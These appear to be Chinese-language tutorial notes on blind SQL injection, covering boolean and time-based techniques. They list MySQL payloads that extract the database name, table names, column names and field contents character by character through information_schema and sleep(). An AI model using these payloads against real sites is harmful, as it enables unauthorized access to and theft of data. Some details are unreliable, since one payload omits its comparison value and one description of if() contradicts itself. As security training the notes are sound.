注入攻击的本质:用户输入的数据被当作代码执行。
关键:
1.用户能够控制输入。
2.输入的数据能够被原本的执行代码所拼接执行。
盲注就是在服务器没有错误回显情况下完成的注入攻击。
分为两种 布尔型盲注和时间型盲注
布尔盲注就是攻击时只返回True和False。
时间盲注只返回True,只能通过注入加入时间函数,通过查看页面返回的时间差判断注入语句是否正确。
盲注需要掌握的几个函数:
1.length() 函数,返回字符串的长度。
2.substr()函数,截取字符串
3.ascii()函数,返回字符的ascii码
4.sleep()函数,将程序挂起n秒
5.if(expr1,expr2,expr3) 如果第一个执行错误,就执行第二个,判断语句 如果第一个语句正确就执行第二个语句,如果第二个错误执行第三个语句
猜解当前数据库名称长度:
id=1‘and (length(database()))>5#
利用ASCII码猜解当前数据库名称:
and (ascii(substr(database(),1,1)))–+ 返回正常,说明数据库名称第一位是s
and (ascii(substr(database(),2,1)))=101–+ 返回正常,说明数据库名称第二位是e
猜表名:
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101–+
返回正常,说明数据库表名的第一个的第一位是e
猜字段名:
and (ascii(substr((select column_name from information_schema.columns where table_name=‘zkaq’ limit 0,1),1,1)))=102–+ 返回正常,说明zkaq表中的列名称第一位是f
猜字段内容:
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122–+返回正常,说明zKaQ列第一位是z
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
?id=1’ and if(length(database())>9,1,sleep(5))%23
加载很长时间,说明长度小于或等于9
and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
table_name:表名
information_schema:信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
column_name:列名